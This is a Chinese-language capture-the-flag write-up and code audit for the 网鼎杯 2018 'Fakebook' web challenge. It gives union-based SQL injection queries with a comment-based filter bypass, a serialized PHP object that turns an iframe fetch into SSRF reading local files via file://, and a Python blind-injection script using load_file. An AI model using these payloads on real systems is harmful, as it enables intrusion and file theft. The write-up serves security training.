简介

 原题复现:

 考察知识点:SSRF、反序列化、SQL注入

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

过程

分析了整体结构 点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面 jion添加的信息点击进入发现了get注入点 注入进去没flag 不过在data字段下发现了序列化的值

/view.php?no=1 and 1=1
/view.php?no=1 and 1=2
/view.php?no=1 order by 5
//发现过滤了union select 使用注释绕过
/view.php?no=-1 union/**/select 1,2,3,4
/view.php?no=-1 union/**/select 1,database(),3,4
//得到数据库数据fakebook
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
//得到表名数据:users
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
//得到字段数据:no,username,passwd,data
/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
//得到data字段下数据:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";}

到这里没思路了 因为我用的扫描器都没扫出什么 最后看wp才知道  robots.txt里面有东西(常识啊!!! 还是太懒。。。主要靠工具了。。)

下载源码查看

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} } }

根据源码构造序列化

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = 'admin888';
$a->age = 12;
$a->blog = 'file:///var/www/html/user.php';
echo serialize($a);
?>
O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}

在测试的时候我们发现这里有个反序列化 看WP可以通过这个为止将我们的序列化传进去 系统将会进行反序列化之后我们传入的blog值将会被传递到页面ifram里面 这样就造成SSRF攻击!得到我们想要的页面 我们可以传入flag的页面拿到flag

最终payload:

http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码获得flag

非预期解决方法

还是看wp的

因为没过滤load_file  sql load_file读取。。。。。。。

脚本、

import requests

url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = '' for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'www.123.com' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2 result += chr(int(mid))
print(result)

程序代码审计

index.php页面

<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php $flag = "FLAG{flag is in your mind}"; $db = new DB();
$user = new UserInfo(); ?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Fakebook</title> <?php include 'bootstrap.php'; ?> </head>
<body>
<div class="container">
<h1>the Fakebook</h1>
<?php if (!isset($_SESSION['username'])) {
$message = "<div class='row'>";
$message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
$message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
$message .= "</div>"; echo $message;
} ?>
<p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
<?php foreach ($db->getAllUsers() as $user) //调用db里面的方法 getAllUsers()
{
$data = unserialize($user['data']); echo "<tr>";
echo "<td>{$user['no']}</td>";
echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
echo "<td>{$data->age}</td>";
echo "<td>{$data->blog}</td>";
echo "</tr>\n";
} ?>
</table>
</div>

 

获得$db->getAllUsers()数据之后循环 输出在页面之中 53行将数据反序列化序列化输出到页面之中  我们可以在首页看到 我们注册完一个用户之后 data对应的是blog就是我们的博客 也就是说我们注册用户所填写的博客地址存进数据库时就被序列化了用的时候再取出来反序列化一下 展示在页面之中

发现getAllusers()先追溯一下 在db.php页面

db.php页面  这个函数的功能 查询数据表users 之后返回出去

join.ok.php(注册页面)

这个程序10行实例化一个DB对象() ob对象存在于 db.php页面中往下审计db.php页面之后再回来

12-15行获取我们join.php页面表单传输过来的值

17行实例化了userinfo对象UserInfo存在于user.php页面之中往下拉先审计user.php页面之后再回来

然后进行一系列判断 可以追溯到user.php页面中的对应函数 判断博客地址符不符合正则匹配 不符合则弹窗!

第二个判断isValidUsername() 这个函数存在于db.php页面 是查询有没有这个用户如果有则弹窗

第31行使用db.php里面的insertUser()函数将输入插入进数据库中

之后复合所有规则则使用insertUser()将数据插入数据库中  追溯到insesrtUser可以看到将我们传进去的$user变量里面存储的是博客地址进行了序列化。

33行执行login()函数进行登录

先追溯DB()对象 在db.php页面

 db.php页面整体代码

<?php

require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook'); class DB { function __construct() {
// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
} //查询用户的函数
public function isValidUsername($username) {
global $mysqli;
$query = "select * from users where username = '{$username}'";
$res = $mysqli->query($query);
if (!$res->fetch_array()) {
return 1;
} else {
return 0;
} } //登陆的函数
function login($username, $passwd) {
global $mysqli; $username = addslashes($username);
$passwd = sha512($passwd);
$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
$res = $mysqli->query($query); return $res->fetch_array();
} //将数据插入到数据库中
function insertUser($username, $passwd, $data) {
global $mysqli; $username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data); //将data数据序列化存储
$data = addslashes($data); $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
} //查询整个users表
public function getAllUsers() {
global $mysqli; $query = "select * from users";
$res = $mysqli->query($query);
return $res->fetch_all(MYSQLI_ASSOC);
} //获取指定数据库中的用户
public function getUserByNo($no) {
global $mysqli; // $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
} return $res->fetch_assoc();
}
//SQL黑名单
public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no);
} } /*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM; */

user.php

简单审计...... 看完之后继续回到刚才的join.ok.php继续设计

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)//当程序被实例化时执行_construct
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} //此处存在SSRF漏洞 如果我们使用file:///读取文件将会造成SSRF漏洞!!!
function get($url)
{
$ch = curl_init(); //初始化一个cURL会话 curl_setopt($ch, CURLOPT_URL, $url); //设置一个cURL传输选项。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
$output = curl_exec($ch); //执行一个curl_exec会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息
if($httpCode == 404) {
return 404;
}
curl_close($ch);//关闭一个一个curl_exec会话 return $output;
} public function getBlogContents (//将当前获取到的博客地址传进get()函数里面
{
return $this->get($this->blog);
} public function isValidBlog () //判断输入的博客地址符不符合正则匹配
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

 View.php

页面整体代码

<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php $db = new DB(); ?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title> <?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php $no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
} $res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res); ?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table> <hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php $response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
} else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
} // var_dump($user->getBlogContents());
?> </div>
</body>
</html>

24行接收get传进来值

25行使用db函数中的anti_sqli()函数进行过滤 这个函数过滤了union select|0x|hex这三个 滞后使用getUserByNo()函数进行数据查询 这里存在SQL注入漏洞

31行将查询到的data数据进行序列化显示!

67行执行user.php里面的getBlogContent()函数 如果返回404则页面不存在否则使用iframe输出到页面之中 这里存在SSRF漏洞

审计完总结:view页面存在get注入漏洞:通过sql可以简单绕过黑名单限制进行SQL注入

      join页面存在post注入漏洞

      在页面中直接提交file///etc/passwd 因为有正则匹配无法造成SSRF漏洞 但是我们可以借用sql配合使用SSRF获取我们想要的文件 本地序列化一个值然后通过SQL注入代入进去在位置4放入我们的序列化值因为位置4有个反序列化所以我们序列化的值进行反序列化的时候就可以成功执行file///etc/passwd 。

参考学习:https://www.cnblogs.com/20175211lyz/p/11469695.html

    https://xz.aliyun.com/t/2607

[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)的更多相关文章

  1. 【网鼎杯2018】fakebook

    解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...

  2. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  3. [网鼎杯 2018]Comment

    [网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...

  4. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  5. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  6. [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

    简介  原题复现:  考察知识点:http协议走私.php字符串解析漏洞  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...

  7. [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)

    简介  原题复现:  考察知识点:逻辑漏洞.JWT伪造.python反序列化  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...

  8. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  9. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

随机推荐

  1. Redis Hashes 数据类型简述

    Redis Hashes 是我们日常使用中比较高频的 Redis 数据类型,内部使用 Redis 字典结构存储,底层基于哈希表结构实现. 下面从哈希表节点,哈下表结构,Redis 字典,Redis 字 ...

  2. 洛谷 p6858 深海少女与胖头鱼 洛谷月赛 期望dp

    洛谷10月月赛 2 t2 深海少女与胖头鱼 题目链接 参考资料:洛谷10月赛2讲评ppt; 本篇题解考完那天就开始写,断断续续写到今天才写完 本题作为基础的期望dp题,用来学习期望dp还是很不错的 ( ...

  3. 学了那么多 NoSQL 数据库 NoSQL 究竟是啥

    NoSQL 简史 NoSQL 一词最早出现于 1998 年,是 Carlo Strozzi 开发的一个轻量.开源.不提供 SQL 功能的关系数据库. 2009 年,Last.fm 的 Johan Os ...

  4. django—Form组件校验方法(is_valid)执行流程

    1.从is_valid方法入手 def is_valid(self): """Return True if the form has no errors, or Fals ...

  5. Redis五种常用数据类型

    string 字符串常用操作 1.存入字符串键值对  SET key value 2.批量存储字符串键值对  MSET key value [key value ...] 3.获取一个字符串键值  G ...

  6. 缩略图调查——抖音客户端/PC/iphone

    最近对抖音有点上瘾,经常看到这样的视频列表: 由于抖音平台的限制,用户最多只能上传60s的视频,因此分段为3个视频.而在视频列表的缩略图模式下,三个视频的封面恰好组合成一张图像.这种方式比较符合审美标 ...

  7. this.getResolve is not a function VUE中使用sass

    1. 安装以下依赖 npm install node-sass --save-dev //安装node-sass npm install sass-loader --save-dev //安装sass ...

  8. Mybatis---05Mybatis配置文件浅析(三)

    1.objectFactory:(对象工厂)MyBatis 每次创建结果对象的新实例时,它都会使用一个对象工厂(ObjectFactory)实例来完成. 默认的对象工厂需要做的仅仅是实例化目标类,要么 ...

  9. LoadRunner11web压力测试录制、回放、负载前的准备

    以前都是利用LoadRunner进行接口测试.自动化测试.压力测试.最近要对web系统做录制压测,因此花费了很长时间来研究这方面的工作.以下是我web端录制.压测过程的流程以及遇到的坑. 一.启动Vi ...

  10. 《Head First 设计模式》:与设计模式相处

    正文 一.设计原则 1.封装变化 找出应用中可能需要变化之处,把它们独立出来,不要和那些不需要变化的代码混在一起. 2.针对接口编程,不针对实现编程 "针对接口编程"真正的意思是& ...